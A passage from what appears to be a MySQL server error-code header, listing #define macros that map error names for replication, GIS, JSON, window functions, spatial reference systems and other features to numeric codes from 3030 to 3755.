ER_REPLICA_WORKER_STOPPED_PREVIOUS_THD_ERROR 3030 #define ER_DONT_SUPPORT_REPLICA_PRESERVE_COMMIT_ORDER 3031 #define ER_SERVER_OFFLINE_MODE 3032 #define ER_GIS_DIFFERENT_SRIDS 3033 #define ER_GIS_UNSUPPORTED_ARGUMENT 3034 #define ER_GIS_UNKNOWN_ERROR 3035 #define ER_GIS_UNKNOWN_EXCEPTION 3036 #define ER_GIS_INVALID_DATA 3037 #define ER_BOOST_GEOMETRY_EMPTY_INPUT_EXCEPTION 3038 #define ER_BOOST_GEOMETRY_CENTROID_EXCEPTION 3039 #define ER_BOOST_GEOMETRY_OVERLAY_INVALID_INPUT_EXCEPTION 3040 #define ER_BOOST_GEOMETRY_TURN_INFO_EXCEPTION 3041 #define ER_BOOST_GEOMETRY_SELF_INTERSECTION_POINT_EXCEPTION 3042 #define ER_BOOST_GEOMETRY_UNKNOWN_EXCEPTION 3043 #define ER_STD_BAD_ALLOC_ERROR 3044 #define ER_STD_DOMAIN_ERROR 3045 #define ER_STD_LENGTH_ERROR 3046 #define ER_STD_INVALID_ARGUMENT 3047 #define ER_STD_OUT_OF_RANGE_ERROR 3048 #define ER_STD_OVERFLOW_ERROR 3049 #define ER_STD_RANGE_ERROR 3050 #define ER_STD_UNDERFLOW_ERROR 3051 #define ER_STD_LOGIC_ERROR 3052 #define ER_STD_RUNTIME_ERROR 3053 #define ER_STD_UNKNOWN_EXCEPTION 3054 #define ER_GIS_DATA_WRONG_ENDIANESS 3055 #define ER_CHANGE_SOURCE_PASSWORD_LENGTH 3056 #define ER_USER_LOCK_WRONG_NAME 3057 #define ER_USER_LOCK_DEADLOCK 3058 #define ER_REPLACE_INACCESSIBLE_ROWS 3059 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_GIS 3060 #define ER_ILLEGAL_USER_VAR 3061 #define ER_GTID_MODE_OFF 3062 //#define OBSOLETE_ER_UNSUPPORTED_BY_REPLICATION_THREAD 3063 #define ER_INCORRECT_TYPE 3064 #define ER_FIELD_IN_ORDER_NOT_SELECT 3065 #define ER_AGGREGATE_IN_ORDER_NOT_SELECT 3066 #define ER_INVALID_RPL_WILD_TABLE_FILTER_PATTERN 3067 #define ER_NET_OK_PACKET_TOO_LARGE 3068 #define ER_INVALID_JSON_DATA 3069 #define ER_INVALID_GEOJSON_MISSING_MEMBER 3070 #define ER_INVALID_GEOJSON_WRONG_TYPE 3071 #define ER_INVALID_GEOJSON_UNSPECIFIED 3072 #define ER_DIMENSION_UNSUPPORTED 3073 #define ER_REPLICA_CHANNEL_DOES_NOT_EXIST 3074 //#define OBSOLETE_ER_SLAVE_MULTIPLE_CHANNELS_HOST_PORT 3075 #define ER_REPLICA_CHANNEL_NAME_INVALID_OR_TOO_LONG 3076 #define ER_REPLICA_NEW_CHANNEL_WRONG_REPOSITORY 3077 //#define OBSOLETE_ER_SLAVE_CHANNEL_DELETE 3078 #define ER_REPLICA_MULTIPLE_CHANNELS_CMD 3079 #define ER_REPLICA_MAX_CHANNELS_EXCEEDED 3080 #define ER_REPLICA_CHANNEL_MUST_STOP 3081 #define ER_REPLICA_CHANNEL_NOT_RUNNING 3082 #define ER_REPLICA_CHANNEL_WAS_RUNNING 3083 #define ER_REPLICA_CHANNEL_WAS_NOT_RUNNING 3084 #define ER_REPLICA_CHANNEL_SQL_THREAD_MUST_STOP 3085 #define ER_REPLICA_CHANNEL_SQL_SKIP_COUNTER 3086 #define ER_WRONG_FIELD_WITH_GROUP_V2 3087 #define ER_MIX_OF_GROUP_FUNC_AND_FIELDS_V2 3088 #define ER_WARN_DEPRECATED_SYSVAR_UPDATE 3089 #define ER_WARN_DEPRECATED_SQLMODE 3090 #define ER_CANNOT_LOG_PARTIAL_DROP_DATABASE_WITH_GTID 3091 #define ER_GROUP_REPLICATION_CONFIGURATION 3092 #define ER_GROUP_REPLICATION_RUNNING 3093 #define ER_GROUP_REPLICATION_APPLIER_INIT_ERROR 3094 #define ER_GROUP_REPLICATION_STOP_APPLIER_THREAD_TIMEOUT 3095 #define ER_GROUP_REPLICATION_COMMUNICATION_LAYER_SESSION_ERROR 3096 #define ER_GROUP_REPLICATION_COMMUNICATION_LAYER_JOIN_ERROR 3097 #define ER_BEFORE_DML_VALIDATION_ERROR 3098 #define ER_PREVENTS_VARIABLE_WITHOUT_RBR 3099 #define ER_RUN_HOOK_ERROR 3100 #define ER_TRANSACTION_ROLLBACK_DURING_COMMIT 3101 #define ER_GENERATED_COLUMN_FUNCTION_IS_NOT_ALLOWED 3102 #define ER_UNSUPPORTED_ALTER_INPLACE_ON_VIRTUAL_COLUMN 3103 #define ER_WRONG_FK_OPTION_FOR_GENERATED_COLUMN 3104 #define ER_NON_DEFAULT_VALUE_FOR_GENERATED_COLUMN 3105 #define ER_UNSUPPORTED_ACTION_ON_GENERATED_COLUMN 3106 #define ER_GENERATED_COLUMN_NON_PRIOR 3107 #define ER_DEPENDENT_BY_GENERATED_COLUMN 3108 #define ER_GENERATED_COLUMN_REF_AUTO_INC 3109 #define ER_FEATURE_NOT_AVAILABLE 3110 #define ER_CANT_SET_GTID_MODE 3111 #define ER_CANT_USE_AUTO_POSITION_WITH_GTID_MODE_OFF 3112 //#define OBSOLETE_ER_CANT_REPLICATE_ANONYMOUS_WITH_AUTO_POSITION 3113 //#define OBSOLETE_ER_CANT_REPLICATE_ANONYMOUS_WITH_GTID_MODE_ON 3114 //#define OBSOLETE_ER_CANT_REPLICATE_GTID_WITH_GTID_MODE_OFF 3115 #define ER_CANT_ENFORCE_GTID_CONSISTENCY_WITH_ONGOING_GTID_VIOLATING_TX 3116 #define ER_ENFORCE_GTID_CONSISTENCY_WARN_WITH_ONGOING_GTID_VIOLATING_TX 3117 #define ER_ACCOUNT_HAS_BEEN_LOCKED 3118 #define ER_WRONG_TABLESPACE_NAME 3119 #define ER_TABLESPACE_IS_NOT_EMPTY 3120 #define ER_WRONG_FILE_NAME 3121 #define ER_BOOST_GEOMETRY_INCONSISTENT_TURNS_EXCEPTION 3122 #define ER_WARN_OPTIMIZER_HINT_SYNTAX_ERROR 3123 #define ER_WARN_BAD_MAX_EXECUTION_TIME 3124 #define ER_WARN_UNSUPPORTED_MAX_EXECUTION_TIME 3125 #define ER_WARN_CONFLICTING_HINT 3126 #define ER_WARN_UNKNOWN_QB_NAME 3127 #define ER_UNRESOLVED_HINT_NAME 3128 #define ER_WARN_ON_MODIFYING_GTID_EXECUTED_TABLE 3129 #define ER_PLUGGABLE_PROTOCOL_COMMAND_NOT_SUPPORTED 3130 #define ER_LOCKING_SERVICE_WRONG_NAME 3131 #define ER_LOCKING_SERVICE_DEADLOCK 3132 #define ER_LOCKING_SERVICE_TIMEOUT 3133 #define ER_GIS_MAX_POINTS_IN_GEOMETRY_OVERFLOWED 3134 #define ER_SQL_MODE_MERGED 3135 #define ER_VTOKEN_PLUGIN_TOKEN_MISMATCH 3136 #define ER_VTOKEN_PLUGIN_TOKEN_NOT_FOUND 3137 #define ER_CANT_SET_VARIABLE_WHEN_OWNING_GTID 3138 #define ER_REPLICA_CHANNEL_OPERATION_NOT_ALLOWED 3139 #define ER_INVALID_JSON_TEXT 3140 #define ER_INVALID_JSON_TEXT_IN_PARAM 3141 #define ER_INVALID_JSON_BINARY_DATA 3142 #define ER_INVALID_JSON_PATH 3143 #define ER_INVALID_JSON_CHARSET 3144 #define ER_INVALID_JSON_CHARSET_IN_FUNCTION 3145 #define ER_INVALID_TYPE_FOR_JSON 3146 #define ER_INVALID_CAST_TO_JSON 3147 #define ER_INVALID_JSON_PATH_CHARSET 3148 #define ER_INVALID_JSON_PATH_WILDCARD 3149 #define ER_JSON_VALUE_TOO_BIG 3150 #define ER_JSON_KEY_TOO_BIG 3151 #define ER_JSON_USED_AS_KEY 3152 #define ER_JSON_VACUOUS_PATH 3153 #define ER_JSON_BAD_ONE_OR_ALL_ARG 3154 #define ER_NUMERIC_JSON_VALUE_OUT_OF_RANGE 3155 #define ER_INVALID_JSON_VALUE_FOR_CAST 3156 #define ER_JSON_DOCUMENT_TOO_DEEP 3157 #define ER_JSON_DOCUMENT_NULL_KEY 3158 #define ER_SECURE_TRANSPORT_REQUIRED 3159 #define ER_NO_SECURE_TRANSPORTS_CONFIGURED 3160 #define ER_DISABLED_STORAGE_ENGINE 3161 #define ER_USER_DOES_NOT_EXIST 3162 #define ER_USER_ALREADY_EXISTS 3163 #define ER_AUDIT_API_ABORT 3164 #define ER_INVALID_JSON_PATH_ARRAY_CELL 3165 #define ER_BUFPOOL_RESIZE_INPROGRESS 3166 #define ER_FEATURE_DISABLED_SEE_DOC 3167 #define ER_SERVER_ISNT_AVAILABLE 3168 #define ER_SESSION_WAS_KILLED 3169 #define ER_CAPACITY_EXCEEDED 3170 #define ER_CAPACITY_EXCEEDED_IN_RANGE_OPTIMIZER 3171 //#define OBSOLETE_ER_TABLE_NEEDS_UPG_PART 3172 #define ER_CANT_WAIT_FOR_EXECUTED_GTID_SET_WHILE_OWNING_A_GTID 3173 #define ER_CANNOT_ADD_FOREIGN_BASE_COL_VIRTUAL 3174 #define ER_CANNOT_CREATE_VIRTUAL_INDEX_CONSTRAINT 3175 #define ER_ERROR_ON_MODIFYING_GTID_EXECUTED_TABLE 3176 #define ER_LOCK_REFUSED_BY_ENGINE 3177 #define ER_UNSUPPORTED_ALTER_ONLINE_ON_VIRTUAL_COLUMN 3178 #define ER_MASTER_KEY_ROTATION_NOT_SUPPORTED_BY_SE 3179 //#define OBSOLETE_ER_MASTER_KEY_ROTATION_ERROR_BY_SE 3180 #define ER_MASTER_KEY_ROTATION_BINLOG_FAILED 3181 #define ER_MASTER_KEY_ROTATION_SE_UNAVAILABLE 3182 #define ER_TABLESPACE_CANNOT_ENCRYPT 3183 #define ER_INVALID_ENCRYPTION_OPTION 3184 #define ER_CANNOT_FIND_KEY_IN_KEYRING 3185 #define ER_CAPACITY_EXCEEDED_IN_PARSER 3186 #define ER_UNSUPPORTED_ALTER_ENCRYPTION_INPLACE 3187 #define ER_KEYRING_UDF_KEYRING_SERVICE_ERROR 3188 #define ER_USER_COLUMN_OLD_LENGTH 3189 #define ER_CANT_RESET_SOURCE 3190 #define ER_GROUP_REPLICATION_MAX_GROUP_SIZE 3191 #define ER_CANNOT_ADD_FOREIGN_BASE_COL_STORED 3192 #define ER_TABLE_REFERENCED 3193 //#define OBSOLETE_ER_PARTITION_ENGINE_DEPRECATED_FOR_TABLE 3194 //#define OBSOLETE_ER_WARN_USING_GEOMFROMWKB_TO_SET_SRID_ZERO 3195 //#define OBSOLETE_ER_WARN_USING_GEOMFROMWKB_TO_SET_SRID 3196 #define ER_XA_RETRY 3197 #define ER_KEYRING_AWS_UDF_AWS_KMS_ERROR 3198 #define ER_BINLOG_UNSAFE_XA 3199 #define ER_UDF_ERROR 3200 #define ER_KEYRING_MIGRATION_FAILURE 3201 #define ER_KEYRING_ACCESS_DENIED_ERROR 3202 #define ER_KEYRING_MIGRATION_STATUS 3203 //#define OBSOLETE_ER_PLUGIN_FAILED_TO_OPEN_TABLES 3204 //#define OBSOLETE_ER_PLUGIN_FAILED_TO_OPEN_TABLE 3205 //#define OBSOLETE_ER_AUDIT_LOG_NO_KEYRING_PLUGIN_INSTALLED 3206 //#define OBSOLETE_ER_AUDIT_LOG_ENCRYPTION_PASSWORD_HAS_NOT_BEEN_SET 3207 //#define OBSOLETE_ER_AUDIT_LOG_COULD_NOT_CREATE_AES_KEY 3208 //#define OBSOLETE_ER_AUDIT_LOG_ENCRYPTION_PASSWORD_CANNOT_BE_FETCHED 3209 //#define OBSOLETE_ER_AUDIT_LOG_JSON_FILTERING_NOT_ENABLED 3210 //#define OBSOLETE_ER_AUDIT_LOG_UDF_INSUFFICIENT_PRIVILEGE 3211 //#define OBSOLETE_ER_AUDIT_LOG_SUPER_PRIVILEGE_REQUIRED 3212 //#define OBSOLETE_ER_COULD_NOT_REINITIALIZE_AUDIT_LOG_FILTERS 3213 //#define OBSOLETE_ER_AUDIT_LOG_UDF_INVALID_ARGUMENT_TYPE 3214 //#define OBSOLETE_ER_AUDIT_LOG_UDF_INVALID_ARGUMENT_COUNT 3215 //#define OBSOLETE_ER_AUDIT_LOG_HAS_NOT_BEEN_INSTALLED 3216 //#define OBSOLETE_ER_AUDIT_LOG_UDF_READ_INVALID_MAX_ARRAY_LENGTH_ARG_TYPE 3217 #define ER_AUDIT_LOG_UDF_READ_INVALID_MAX_ARRAY_LENGTH_ARG_VALUE 3218 //#define OBSOLETE_ER_AUDIT_LOG_JSON_FILTER_PARSING_ERROR 3219 //#define OBSOLETE_ER_AUDIT_LOG_JSON_FILTER_NAME_CANNOT_BE_EMPTY 3220 //#define OBSOLETE_ER_AUDIT_LOG_JSON_USER_NAME_CANNOT_BE_EMPTY 3221 //#define OBSOLETE_ER_AUDIT_LOG_JSON_FILTER_DOES_NOT_EXISTS 3222 //#define OBSOLETE_ER_AUDIT_LOG_USER_FIRST_CHARACTER_MUST_BE_ALPHANUMERIC 3223 //#define OBSOLETE_ER_AUDIT_LOG_USER_NAME_INVALID_CHARACTER 3224 //#define OBSOLETE_ER_AUDIT_LOG_HOST_NAME_INVALID_CHARACTER 3225 #define OBSOLETE_WARN_DEPRECATED_MAXDB_SQL_MODE_FOR_TIMESTAMP 3226 //#define OBSOLETE_ER_XA_REPLICATION_FILTERS 3227 //#define OBSOLETE_ER_CANT_OPEN_ERROR_LOG 3228 //#define OBSOLETE_ER_GROUPING_ON_TIMESTAMP_IN_DST 3229 //#define OBSOLETE_ER_CANT_START_SERVER_NAMED_PIPE 3230 #define ER_WRITE_SET_EXCEEDS_LIMIT 3231 //#define OBSOLETE_ER_DEPRECATED_TLS_VERSION_SESSION_57 3232 //#define OBSOLETE_ER_WARN_DEPRECATED_TLS_VERSION_57 3233 //#define OBSOLETE_ER_WARN_WRONG_NATIVE_TABLE_STRUCTURE 3234 #define ER_AES_INVALID_KDF_NAME 3235 #define ER_AES_INVALID_KDF_ITERATIONS 3236 #define WARN_AES_KEY_SIZE 3237 #define ER_AES_INVALID_KDF_OPTION_SIZE 3238 #define ER_UNSUPPORT_COMPRESSED_TEMPORARY_TABLE 3500 #define ER_ACL_OPERATION_FAILED 3501 #define ER_UNSUPPORTED_INDEX_ALGORITHM 3502 #define ER_NO_SUCH_DB 3503 #define ER_TOO_BIG_ENUM 3504 #define ER_TOO_LONG_SET_ENUM_VALUE 3505 #define ER_INVALID_DD_OBJECT 3506 #define ER_UPDATING_DD_TABLE 3507 #define ER_INVALID_DD_OBJECT_ID 3508 #define ER_INVALID_DD_OBJECT_NAME 3509 #define ER_TABLESPACE_MISSING_WITH_NAME 3510 #define ER_TOO_LONG_ROUTINE_COMMENT 3511 #define ER_SP_LOAD_FAILED 3512 #define ER_INVALID_BITWISE_OPERANDS_SIZE 3513 #define ER_INVALID_BITWISE_AGGREGATE_OPERANDS_SIZE 3514 #define ER_WARN_UNSUPPORTED_HINT 3515 #define ER_UNEXPECTED_GEOMETRY_TYPE 3516 #define ER_SRS_PARSE_ERROR 3517 #define ER_SRS_PROJ_PARAMETER_MISSING 3518 #define ER_WARN_SRS_NOT_FOUND 3519 #define ER_SRS_NOT_CARTESIAN 3520 #define ER_SRS_NOT_CARTESIAN_UNDEFINED 3521 #define ER_PK_INDEX_CANT_BE_INVISIBLE 3522 #define ER_UNKNOWN_AUTHID 3523 #define ER_FAILED_ROLE_GRANT 3524 #define ER_OPEN_ROLE_TABLES 3525 #define ER_FAILED_DEFAULT_ROLES 3526 #define ER_COMPONENTS_NO_SCHEME 3527 #define ER_COMPONENTS_NO_SCHEME_SERVICE 3528 #define ER_COMPONENTS_CANT_LOAD 3529 #define ER_ROLE_NOT_GRANTED 3530 #define ER_FAILED_REVOKE_ROLE 3531 #define ER_RENAME_ROLE 3532 #define ER_COMPONENTS_CANT_ACQUIRE_SERVICE_IMPLEMENTATION 3533 #define ER_COMPONENTS_CANT_SATISFY_DEPENDENCY 3534 #define ER_COMPONENTS_LOAD_CANT_REGISTER_SERVICE_IMPLEMENTATION 3535 #define ER_COMPONENTS_LOAD_CANT_INITIALIZE 3536 #define ER_COMPONENTS_UNLOAD_NOT_LOADED 3537 #define ER_COMPONENTS_UNLOAD_CANT_DEINITIALIZE 3538 #define ER_COMPONENTS_CANT_RELEASE_SERVICE 3539 #define ER_COMPONENTS_UNLOAD_CANT_UNREGISTER_SERVICE 3540 #define ER_COMPONENTS_CANT_UNLOAD 3541 #define ER_WARN_UNLOAD_THE_NOT_PERSISTED 3542 #define ER_COMPONENT_TABLE_INCORRECT 3543 #define ER_COMPONENT_MANIPULATE_ROW_FAILED 3544 #define ER_COMPONENTS_UNLOAD_DUPLICATE_IN_GROUP 3545 #define ER_CANT_SET_GTID_PURGED_DUE_SETS_CONSTRAINTS 3546 #define ER_CANNOT_LOCK_USER_MANAGEMENT_CACHES 3547 #define ER_SRS_NOT_FOUND 3548 #define ER_VARIABLE_NOT_PERSISTED 3549 #define ER_IS_QUERY_INVALID_CLAUSE 3550 #define ER_UNABLE_TO_STORE_STATISTICS 3551 #define ER_NO_SYSTEM_SCHEMA_ACCESS 3552 #define ER_NO_SYSTEM_TABLESPACE_ACCESS 3553 #define ER_NO_SYSTEM_TABLE_ACCESS 3554 #define ER_NO_SYSTEM_TABLE_ACCESS_FOR_DICTIONARY_TABLE 3555 #define ER_NO_SYSTEM_TABLE_ACCESS_FOR_SYSTEM_TABLE 3556 #define ER_NO_SYSTEM_TABLE_ACCESS_FOR_TABLE 3557 #define ER_INVALID_OPTION_KEY 3558 #define ER_INVALID_OPTION_VALUE 3559 #define ER_INVALID_OPTION_KEY_VALUE_PAIR 3560 #define ER_INVALID_OPTION_START_CHARACTER 3561 #define ER_INVALID_OPTION_END_CHARACTER 3562 #define ER_INVALID_OPTION_CHARACTERS 3563 #define ER_DUPLICATE_OPTION_KEY 3564 #define ER_WARN_SRS_NOT_FOUND_AXIS_ORDER 3565 #define ER_NO_ACCESS_TO_NATIVE_FCT 3566 #define ER_RESET_SOURCE_TO_VALUE_OUT_OF_RANGE 3567 #define ER_UNRESOLVED_TABLE_LOCK 3568 #define ER_DUPLICATE_TABLE_LOCK 3569 #define ER_BINLOG_UNSAFE_SKIP_LOCKED 3570 #define ER_BINLOG_UNSAFE_NOWAIT 3571 #define ER_LOCK_NOWAIT 3572 #define ER_CTE_RECURSIVE_REQUIRES_UNION 3573 #define ER_CTE_RECURSIVE_REQUIRES_NONRECURSIVE_FIRST 3574 #define ER_CTE_RECURSIVE_FORBIDS_AGGREGATION 3575 #define ER_CTE_RECURSIVE_FORBIDDEN_JOIN_ORDER 3576 #define ER_CTE_RECURSIVE_REQUIRES_SINGLE_REFERENCE 3577 #define ER_SWITCH_TMP_ENGINE 3578 #define ER_WINDOW_NO_SUCH_WINDOW 3579 #define ER_WINDOW_CIRCULARITY_IN_WINDOW_GRAPH 3580 #define ER_WINDOW_NO_CHILD_PARTITIONING 3581 #define ER_WINDOW_NO_INHERIT_FRAME 3582 #define ER_WINDOW_NO_REDEFINE_ORDER_BY 3583 #define ER_WINDOW_FRAME_START_ILLEGAL 3584 #define ER_WINDOW_FRAME_END_ILLEGAL 3585 #define ER_WINDOW_FRAME_ILLEGAL 3586 #define ER_WINDOW_RANGE_FRAME_ORDER_TYPE 3587 #define ER_WINDOW_RANGE_FRAME_TEMPORAL_TYPE 3588 #define ER_WINDOW_RANGE_FRAME_NUMERIC_TYPE 3589 #define ER_WINDOW_RANGE_BOUND_NOT_CONSTANT 3590 #define ER_WINDOW_DUPLICATE_NAME 3591 #define ER_WINDOW_ILLEGAL_ORDER_BY 3592 #define ER_WINDOW_INVALID_WINDOW_FUNC_USE 3593 #define ER_WINDOW_INVALID_WINDOW_FUNC_ALIAS_USE 3594 #define ER_WINDOW_NESTED_WINDOW_FUNC_USE_IN_WINDOW_SPEC 3595 #define ER_WINDOW_ROWS_INTERVAL_USE 3596 #define ER_WINDOW_NO_GROUP_ORDER_UNUSED 3597 #define ER_WINDOW_EXPLAIN_JSON 3598 #define ER_WINDOW_FUNCTION_IGNORES_FRAME 3599 #define ER_WL9236_NOW_UNUSED 3600 #define ER_INVALID_NO_OF_ARGS 3601 #define ER_FIELD_IN_GROUPING_NOT_GROUP_BY 3602 #define ER_TOO_LONG_TABLESPACE_COMMENT 3603 #define ER_ENGINE_CANT_DROP_TABLE 3604 #define ER_ENGINE_CANT_DROP_MISSING_TABLE 3605 #define ER_TABLESPACE_DUP_FILENAME 3606 #define ER_DB_DROP_RMDIR2 3607 #define ER_IMP_NO_FILES_MATCHED 3608 #define ER_IMP_SCHEMA_DOES_NOT_EXIST 3609 #define ER_IMP_TABLE_ALREADY_EXISTS 3610 #define ER_IMP_INCOMPATIBLE_MYSQLD_VERSION 3611 #define ER_IMP_INCOMPATIBLE_DD_VERSION 3612 #define ER_IMP_INCOMPATIBLE_SDI_VERSION 3613 #define ER_WARN_INVALID_HINT 3614 #define ER_VAR_DOES_NOT_EXIST 3615 #define ER_LONGITUDE_OUT_OF_RANGE 3616 #define ER_LATITUDE_OUT_OF_RANGE 3617 #define ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS 3618 #define ER_ILLEGAL_PRIVILEGE_LEVEL 3619 #define ER_NO_SYSTEM_VIEW_ACCESS 3620 #define ER_COMPONENT_FILTER_FLABBERGASTED 3621 #define ER_PART_EXPR_TOO_LONG 3622 #define ER_UDF_DROP_DYNAMICALLY_REGISTERED 3623 #define ER_UNABLE_TO_STORE_COLUMN_STATISTICS 3624 #define ER_UNABLE_TO_UPDATE_COLUMN_STATISTICS 3625 #define ER_UNABLE_TO_DROP_COLUMN_STATISTICS 3626 #define ER_UNABLE_TO_BUILD_HISTOGRAM 3627 #define ER_MANDATORY_ROLE 3628 #define ER_MISSING_TABLESPACE_FILE 3629 #define ER_PERSIST_ONLY_ACCESS_DENIED_ERROR 3630 #define ER_CMD_NEED_SUPER 3631 #define ER_PATH_IN_DATADIR 3632 #define ER_CLONE_DDL_IN_PROGRESS 3633 #define ER_CLONE_TOO_MANY_CONCURRENT_CLONES 3634 #define ER_APPLIER_LOG_EVENT_VALIDATION_ERROR 3635 #define ER_CTE_MAX_RECURSION_DEPTH 3636 #define ER_NOT_HINT_UPDATABLE_VARIABLE 3637 #define ER_CREDENTIALS_CONTRADICT_TO_HISTORY 3638 #define ER_WARNING_PASSWORD_HISTORY_CLAUSES_VOID 3639 #define ER_CLIENT_DOES_NOT_SUPPORT 3640 #define ER_I_S_SKIPPED_TABLESPACE 3641 #define ER_TABLESPACE_ENGINE_MISMATCH 3642 #define ER_WRONG_SRID_FOR_COLUMN 3643 #define ER_CANNOT_ALTER_SRID_DUE_TO_INDEX 3644 #define ER_WARN_BINLOG_PARTIAL_UPDATES_DISABLED 3645 #define ER_WARN_BINLOG_V1_ROW_EVENTS_DISABLED 3646 #define ER_WARN_BINLOG_PARTIAL_UPDATES_SUGGESTS_PARTIAL_IMAGES 3647 #define ER_COULD_NOT_APPLY_JSON_DIFF 3648 #define ER_CORRUPTED_JSON_DIFF 3649 #define ER_RESOURCE_GROUP_EXISTS 3650 #define ER_RESOURCE_GROUP_NOT_EXISTS 3651 #define ER_INVALID_VCPU_ID 3652 #define ER_INVALID_VCPU_RANGE 3653 #define ER_INVALID_THREAD_PRIORITY 3654 #define ER_DISALLOWED_OPERATION 3655 #define ER_RESOURCE_GROUP_BUSY 3656 #define ER_RESOURCE_GROUP_DISABLED 3657 #define ER_FEATURE_UNSUPPORTED 3658 #define ER_ATTRIBUTE_IGNORED 3659 #define ER_INVALID_THREAD_ID 3660 #define ER_RESOURCE_GROUP_BIND_FAILED 3661 #define ER_INVALID_USE_OF_FORCE_OPTION 3662 #define ER_GROUP_REPLICATION_COMMAND_FAILURE 3663 #define ER_SDI_OPERATION_FAILED 3664 #define ER_MISSING_JSON_TABLE_VALUE 3665 #define ER_WRONG_JSON_TABLE_VALUE 3666 #define ER_TF_MUST_HAVE_ALIAS 3667 #define ER_TF_FORBIDDEN_JOIN_TYPE 3668 #define ER_JT_VALUE_OUT_OF_RANGE 3669 #define ER_JT_MAX_NESTED_PATH 3670 #define ER_PASSWORD_EXPIRATION_NOT_SUPPORTED_BY_AUTH_METHOD 3671 #define ER_INVALID_GEOJSON_CRS_NOT_TOP_LEVEL 3672 #define ER_BAD_NULL_ERROR_NOT_IGNORED 3673 #define WARN_USELESS_SPATIAL_INDEX 3674 #define ER_DISK_FULL_NOWAIT 3675 #define ER_PARSE_ERROR_IN_DIGEST_FN 3676 #define ER_UNDISCLOSED_PARSE_ERROR_IN_DIGEST_FN 3677 #define ER_SCHEMA_DIR_EXISTS 3678 #define ER_SCHEMA_DIR_MISSING 3679 #define ER_SCHEMA_DIR_CREATE_FAILED 3680 #define ER_SCHEMA_DIR_UNKNOWN 3681 #define ER_ONLY_IMPLEMENTED_FOR_SRID_0_AND_4326 3682 #define ER_BINLOG_EXPIRE_LOG_DAYS_AND_SECS_USED_TOGETHER 3683 #define ER_REGEXP_BUFFER_OVERFLOW 3684 #define ER_REGEXP_ILLEGAL_ARGUMENT 3685 #define ER_REGEXP_INDEX_OUTOFBOUNDS_ERROR 3686 #define ER_REGEXP_INTERNAL_ERROR 3687 #define ER_REGEXP_RULE_SYNTAX 3688 #define ER_REGEXP_BAD_ESCAPE_SEQUENCE 3689 #define ER_REGEXP_UNIMPLEMENTED 3690 #define ER_REGEXP_MISMATCHED_PAREN 3691 #define ER_REGEXP_BAD_INTERVAL 3692 #define ER_REGEXP_MAX_LT_MIN 3693 #define ER_REGEXP_INVALID_BACK_REF 3694 #define ER_REGEXP_LOOK_BEHIND_LIMIT 3695 #define ER_REGEXP_MISSING_CLOSE_BRACKET 3696 #define ER_REGEXP_INVALID_RANGE 3697 #define ER_REGEXP_STACK_OVERFLOW 3698 #define ER_REGEXP_TIME_OUT 3699 #define ER_REGEXP_PATTERN_TOO_BIG 3700 #define ER_CANT_SET_ERROR_LOG_SERVICE 3701 #define ER_EMPTY_PIPELINE_FOR_ERROR_LOG_SERVICE 3702 #define ER_COMPONENT_FILTER_DIAGNOSTICS 3703 #define ER_NOT_IMPLEMENTED_FOR_CARTESIAN_SRS 3704 #define ER_NOT_IMPLEMENTED_FOR_PROJECTED_SRS 3705 #define ER_NONPOSITIVE_RADIUS 3706 #define ER_RESTART_SERVER_FAILED 3707 #define ER_SRS_MISSING_MANDATORY_ATTRIBUTE 3708 #define ER_SRS_MULTIPLE_ATTRIBUTE_DEFINITIONS 3709 #define ER_SRS_NAME_CANT_BE_EMPTY_OR_WHITESPACE 3710 #define ER_SRS_ORGANIZATION_CANT_BE_EMPTY_OR_WHITESPACE 3711 #define ER_SRS_ID_ALREADY_EXISTS 3712 #define ER_WARN_SRS_ID_ALREADY_EXISTS 3713 #define ER_CANT_MODIFY_SRID_0 3714 #define ER_WARN_RESERVED_SRID_RANGE 3715 #define ER_CANT_MODIFY_SRS_USED_BY_COLUMN 3716 #define ER_SRS_INVALID_CHARACTER_IN_ATTRIBUTE 3717 #define ER_SRS_ATTRIBUTE_STRING_TOO_LONG 3718 #define ER_DEPRECATED_UTF8_ALIAS 3719 #define ER_DEPRECATED_NATIONAL 3720 #define ER_INVALID_DEFAULT_UTF8MB4_COLLATION 3721 #define ER_UNABLE_TO_COLLECT_LOG_STATUS 3722 #define ER_RESERVED_TABLESPACE_NAME 3723 #define ER_UNABLE_TO_SET_OPTION 3724 #define ER_REPLICA_POSSIBLY_DIVERGED_AFTER_DDL 3725 #define ER_SRS_NOT_GEOGRAPHIC 3726 #define ER_POLYGON_TOO_LARGE 3727 #define ER_SPATIAL_UNIQUE_INDEX 3728 #define ER_INDEX_TYPE_NOT_SUPPORTED_FOR_SPATIAL_INDEX 3729 #define ER_FK_CANNOT_DROP_PARENT 3730 #define ER_GEOMETRY_PARAM_LONGITUDE_OUT_OF_RANGE 3731 #define ER_GEOMETRY_PARAM_LATITUDE_OUT_OF_RANGE 3732 #define ER_FK_CANNOT_USE_VIRTUAL_COLUMN 3733 #define ER_FK_NO_COLUMN_PARENT 3734 #define ER_CANT_SET_ERROR_SUPPRESSION_LIST 3735 #define ER_SRS_GEOGCS_INVALID_AXES 3736 #define ER_SRS_INVALID_SEMI_MAJOR_AXIS 3737 #define ER_SRS_INVALID_INVERSE_FLATTENING 3738 #define ER_SRS_INVALID_ANGULAR_UNIT 3739 #define ER_SRS_INVALID_PRIME_MERIDIAN 3740 #define ER_TRANSFORM_SOURCE_SRS_NOT_SUPPORTED 3741 #define ER_TRANSFORM_TARGET_SRS_NOT_SUPPORTED 3742 #define ER_TRANSFORM_SOURCE_SRS_MISSING_TOWGS84 3743 #define ER_TRANSFORM_TARGET_SRS_MISSING_TOWGS84 3744 #define ER_TEMP_TABLE_PREVENTS_SWITCH_SESSION_BINLOG_FORMAT 3745 #define ER_TEMP_TABLE_PREVENTS_SWITCH_GLOBAL_BINLOG_FORMAT 3746 #define ER_RUNNING_APPLIER_PREVENTS_SWITCH_GLOBAL_BINLOG_FORMAT 3747 #define ER_CLIENT_GTID_UNSAFE_CREATE_DROP_TEMP_TABLE_IN_TRX_IN_SBR 3748 //#define OBSOLETE_ER_XA_CANT_CREATE_MDL_BACKUP 3749 #define ER_TABLE_WITHOUT_PK 3750 #define ER_WARN_DATA_TRUNCATED_FUNCTIONAL_INDEX 3751 #define ER_WARN_DATA_OUT_OF_RANGE_FUNCTIONAL_INDEX 3752 #define ER_FUNCTIONAL_INDEX_ON_JSON_OR_GEOMETRY_FUNCTION 3753 #define ER_FUNCTIONAL_INDEX_REF_AUTO_INCREMENT 3754 #define ER_CANNOT_DROP_COLUMN_FUNCTIONAL_INDEX 3755 #define 